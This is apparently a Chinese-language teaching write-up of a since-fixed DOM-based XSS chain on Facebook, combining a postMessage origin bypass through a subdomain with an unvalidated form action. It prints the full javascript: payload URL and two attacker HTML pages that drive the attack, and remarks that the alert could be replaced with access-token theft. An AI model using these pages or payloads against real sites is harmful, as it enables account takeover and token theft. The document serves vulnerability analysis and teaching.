技术分析 | Facebook中基于DOM的XSS漏洞利用分析
字数 1487 2025-08-15 21:32:43
Facebook基于DOM的XSS漏洞利用分析教学文档
漏洞概述
本教学文档详细分析Facebook平台中发现的基于DOM的XSS漏洞利用链,该漏洞组合了两个关键安全问题:
- 跨域消息传递漏洞:允许攻击者从facebook.com域名通过postMessage发送跨域消息
- 不安全脚本构造漏洞:允许根据EventListener接收的表单提交数据构造不安全脚本
漏洞技术细节
第一部分:跨域消息传递漏洞
漏洞端点:https://www.facebook.com/payments/redirect.php
关键参数:
type参数:控制消息传递方式- 正常值
i:使用window.parent.paymentsFlows.processIFrame方法 - 修改为
rp:使用postMessage与打开页面的窗口通信
- 正常值
目标源限制:
- 原始设计仅允许向
our.intern.facebook.com发送消息 - 绕过方法:使用
our.alpha.facebook.com替代our.alpha不会重定向到www.facebook.com- 内容与
www.facebook.com相同 - 满足targetOrigin条件
第二部分:XSS漏洞发现与利用
Canvas应用程序架构:
- 托管在
apps.facebook.com - 加载iframe中的URL并发送包含
signed_request参数的POST消息 - 关键页面:
https://www.facebook.com/platform/page_proxy/?version=X
page_proxy页面关键代码功能:
- 使用postMessage发送带有frameName的消息到任意源
- 设置EventListener等待接收消息
- 满足条件时提交表单
- 表单action属性直接设置为
a.data.params.appTabUrl
漏洞点:
appTabUrl未验证是否以http/https开头- 可插入JavaScript代码实现XSS
漏洞利用步骤
构造Payload
URL格式:
https://our.alpha.facebook.com/payments/redirect.php?type=rp&name=_self&params[appTabUrl]=javascript:alert(1);&params[signedRequest]=SIGNED_X&platformAppControllerGetFrameParamsResponse=1
对应对象结构:
{
"type": "rp",
"name": "_self",
"params": {
"appTabUrl": "javascript:alert(1);",
"signedRequest": "SIGNED_X"
},
"platformAppControllerGetFrameParamsResponse": "1"
}
攻击流程
- 初始页面 (
page1.html):
<html>
<button class="button" onClick="
window.open('https://attacker/page2.html', '_blank');
document.location.href = 'https://our.alpha.facebook.com/platform/page_proxy/?version=X#_self';
">
<span class="icon">Start Attack</span>
</button>
</html>
- 延时攻击页面 (
page2.html):
<html>
<script>
setTimeout(function(){
window.location.href = 'https://our.alpha.facebook.com/payments/redirect.php?type=rp&merchant_group=86&name=_self&params[appTabUrl]=javascript:alert(1);&params[signedRequest]=SIGNED_X&platformAppControllerGetFrameParamsResponse=1';
}, 3000);
</script>
</html>
攻击说明:
- 设置3秒延迟确保
page_proxy页面加载完成 - 实际攻击中可将
alert(1)替换为窃取用户访问令牌的代码
漏洞修复方案
Facebook采取的修复措施:
- 移除了
/payments/redirect.php中的postMessage组件 - 在
appTabUrl中添加了http/https协议检测
教学要点总结
-
postMessage安全:
- 必须严格验证targetOrigin
- 避免向过于宽泛的源发送消息
-
动态URL构造安全:
- 所有动态设置的URL必须验证协议
- 避免直接使用用户可控数据构造可执行代码
-
跨域通信安全:
- 谨慎处理来自不同子域的通信
- 实施严格的源验证机制
-
防御措施:
- 实施内容安全策略(CSP)
- 对动态脚本执行进行沙箱隔离
- 关键操作添加二次验证
扩展思考
- 如何检测类似postMessage滥用漏洞?
- 除了协议验证,还有哪些方法可以防止JavaScript URL注入?
- 如何设计安全的跨域通信机制?
- 在前端框架中如何安全地处理动态URL?
本教学文档详细分析了Facebook平台中发现的XSS漏洞利用链,强调了现代Web应用中跨域通信和动态内容处理的安全风险,为安全研究人员和开发人员提供了宝贵的安全开发实践参考。